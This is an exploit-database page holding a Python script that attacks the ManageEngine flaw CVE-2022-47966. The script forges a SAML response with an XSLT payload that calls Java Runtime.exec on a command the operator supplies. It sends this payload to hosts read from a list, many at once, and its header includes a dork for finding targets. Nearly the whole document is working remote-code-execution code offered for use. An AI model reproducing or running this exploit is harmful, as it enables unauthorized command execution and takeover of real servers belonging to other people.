Exploit databaseDownload repository ZIP
GH-83b07b4ca46f7447f210571494cc6568
sh4den/cve-2022-47966
Sources for CVE-2022-47966
10 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
sh4den/cve-2022-47966Revision ca6bc2593685
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
main.py
Python · 5,762 bytes# Exploit Title: ManageEngine RCE 2022
# Dork: title: "<title>ManageEngine</title>"
# Date: 12/24/2022
# Found By: _l0gg
# Exploit Author: sh4den
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/info/downloads
# Version: see https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
# Tested on: Windows, Linux
# CVE : CVE-2022-47966
import requests
import urllib3
import string
import sys
import colored
import base64
from datetime import datetime
import random
import threading
from colored import stylize
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Main:
def formatConsoleDate( date ):
return '[' + date.strftime('%Y-%m-%d-%H:%M:%S') + ']'
pass
def randomString( size ):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
pass
class Exploit:
def __init__(self, host):
self.host = host
pass
def run(self):
global params
SAMLResponse = f"""<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"
InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"
IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"
IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>issuer</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'{params['command']}')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
"""
try:
httpResponse = requests.post(self.host + '/SamlResponseServlet', data={'SAMLResponse': base64.b64encode(SAMLResponse.encode())}, verify=False)
if httpResponse.status_code == 404:
print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
stylize(f" [error] {self.host} is not vulnerable", colored.fg('red')))
return False
pass
if 'FATAL: You are not authorized to use this service' in httpResponse.text:
print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
stylize(f" [error] {self.host} is not vulnerable", colored.fg('red')))
return False
pass
if 'Unknown error occurred while processing your request' in httpResponse.text:
print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
stylize(f" [info] {self.host} appears to be vulnerable", colored.fg('blue')))
pass
except:
pass
pass
def main():
global params
print(stylize('''
╦ ╦╔═╗╦═╗╔═╗╔╗
╠═╣║ ╦╠╦╝╠═╣╠╩╗
╩ ╩╚═╝╩╚═╩ ╩╚═╝
test first, analyze after
''', colored.fg('red')))
if len(sys.argv) < 3:
print(stylize("""
[ERROR]""", colored.fg('red'),
colored.attr('underlined'))
+ """ bad command usage
""" + stylize("Usage Sheme:", colored.fg('#ffe900'),
colored.attr('underlined')) + """
- user@some_name:~# python3 main.py <vuln-list> <command>
""")
sys.exit()
params = {}
params['file'] = sys.argv[1]
params['command'] = sys.argv[2]
with open(params['file'], 'r') as file:
for line in file:
host = line.strip()
exploit = Exploit(host)
threading.Thread(target=exploit.run).start()
pass
pass
pass
if __name__ == '__main__':
main()